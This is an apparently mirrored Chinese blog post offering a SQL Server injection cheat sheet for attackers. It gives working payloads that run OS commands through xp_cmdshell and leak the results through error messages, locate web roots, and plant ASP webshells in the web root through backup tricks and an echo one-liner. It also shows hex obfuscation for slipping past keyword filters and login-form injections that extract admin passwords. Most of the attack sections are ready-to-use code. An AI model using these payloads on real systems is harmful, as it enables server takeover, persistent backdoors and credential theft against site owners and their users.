zoukankan      html  css  js  c++  java
  • SQLServer注入技巧

    一、对于SA权限的用户执行命令,如何获取更快捷的获取结果?

    • 有显示位
    • 无显示位


    其实这里的关键并不是有无显示位。exec master..xp_cmdshell 'systeminfo'生成的数据写进一张表的时候,会产生很多行。而我们要做的就是如何很多行通过显示位、或者报错语句一次性爆出来,这里的关键就是多行合一。


    方法①
    BEGIN
         IF EXISTS(select table_name from information_schema.tables where table_name='test_1')drop table test_1;
         IF EXISTS(select table_name from information_schema.tables where table_name='test_2')drop table test_2;
         create TABLE test_1([output][varchar](1000));
         insert test_1 exec master.dbo.xp_cmdshell 'ipconfig /all';
         DECLARE @result varchar(8000)
         SET @result='~'
         SELECT @result=@result+' '+output from test_1 where output>' '
         SELECT @result AS result INTO test_2;
         SELECT convert(int,(select result from test_2));
    END;

    解析:

    • 这里6-9句的意思是申明一个@result的临时变量;
    • 设置初始值为’~’;将test_1中的数据数据依次取出来,迭代条件是output>’ ‘,并组合成新的字符串,字符串之间用空格隔开最后复制给@result;
    • 然后将@result设置一个别名,然后插入test_2中。
    • 最后报错回显
      PS:
    • mssql英文字母比较大小不区分大小写
    • mssql字符串比较大小和C语言中的str_cmp()一样的道理


    方法②(注入点测试成功、测试平台SQL Server2008- 10.0.1600.22 (X64)

    • 报错:AND (SELECT * FROM test_1 FOR XML PATH(''))=1--
    • 显示:UNION SELECT 1,(SELECT * FROM test_1 FOR XML PATH(''))--


    二、如何快速寻找网站目录(SA用户)

    • SA用户被降权
    • SA用户未被降权


    这里区分降权与非降权是有道理的,如果没有被降权。那么权限很高就可以读取某些保存在本机的配置了,如果权限低一点的话,可以使用dir命令查找。


    方法①(被降权:–亲测成功):
    CREATE TABLE test_1([output][varchar](1000));
    INSERT test_1 EXEC master.dbo.xp_cmdshell 'dir /s d:web.config ';
    AND (SELECT * FROM test_1 FOR XML PATH(''))=1;


    方法②(未被降权–system–亲测成功):
    CREATE TABLE test_1([output][varchar](1000));
    INSERT test_1 EXEC master.dbo.xp_cmdshell 'cscript.exe C:InetpubAdminScriptsadsutil.vbs ENUM W3SVC/1/root ';
    AND (SELECT * FROM test_1 FOR XML PATH(''))=1;


    方法③(sa+system权限+IIS7.0+IIS7.5):

    %systemroot%/system32/inetsrv/appcmd.exe list site ——列出网站列表
    %systemroot%system32inetsrvappcmd.exe list vdir ——列出网站物理路径

    PS:
    %systemroot%代表c:windows


    三、如何利用注入点getshell方法
    ①(差异备份)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试

    IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;
    backup database XFData to disk = 'D:WebRootasp.bak';
    create table [dbo].[test_tmp] ([cmd] [image]);
    insert into  test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
    backup database XFData to disk='D:WebRootasp.asp' WITH DIFFERENTIAL,FORMAT;


    方法②(减小体积)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试
    IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;
    alter database XFData set RECOVERY FULL;
    create table  test_tmp  (a image);
    backup log XFData to disk = 'D:WebRootasp.bak' with init;
    insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);
    backup log XFData to disk = 'D:webroot123.asp'

    PS:

    • 如果不能备份,很有可能是访问权限的问题。可以切换目录尝试
    • 如果表存在,也不能成功;所以先判断表是否存在,如果存在就删除。


    方法③(echo 输出一句话木马)–sa权限+当前用户写权限–亲测成功
    echo ^<%eval request("pass")%^>>D:\%D1%A7%B7%D6%CF%B5%CD%B3WebRootupdate.asp

    PS:

    • 这里由于是注入点,因此需要注意编码的问题。一般来说,网页的编码和数据库的编码是一致的(如果不一致~~~算我输)。这里我用了一个中文路径做说明


    四、如何避免使用select之类的关键字
    方法①:十六进制混淆

    ;DECLARE @S VARCHAR(4000SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--


    五、登录点的注入如何最快获取后台密码
    1' HAVING 1=1-- #爆出表名

    1' GROUP BY username HAVING 1=1--  # 爆出字段名

    # User_Mess.Account

    # User_Mess.PWD

    1';select/**/convert(int,(select/**/top/**/1/**/Account/**/from/**/User_Mess))--                                                           
    1';select/**/convert(int,(select/**/top/**/1/**/PWD/**/from/**/User_Mess/**/where/**/Account='admin'))--


    六、结语

    这篇文章是很久以前整理的,有些地方可能有不对之处,希望大家能够指出。另外,大家有什么姿势也说一说,一起总结总结。



    这里排版确实不习惯,用习惯了markdown感觉现在有点排版困难症,请不要喷。。。

  • 相关阅读:
    盘点 Oracle 11g 中新特性带来的10大性能影响
    史上最全Oracle数据泵常用命令
    Oracle查看 open_cursors 和 session_cached_cursors
    SLES 12: Database Startup Error with ORA-27300 ORA-27301 ORA-27303 While Starting using Srvctl (Doc ID 2340986.1)
    FAQ: Oracle Flex ASM 12c / 12.1 (Doc ID 1573137.1)
    Test Case:: 12C ASM New feature (Doc ID 1571975.1)
    Test Case:: 12C ASMCMD New feature (Doc ID 1589249.1)
    如何在Oracle 12C中Drop/Truncate多个分区 (Doc ID 1482264.1)
    如何在Oracle 12C中添加多个分区 (Doc ID 1482456.1)
    12c分区增强功能,新功能(文档ID 1568010.1)
  • 原文地址:https://www.cnblogs.com/hookjoy/p/5608229.html
Copyright © 2011-2022 走看看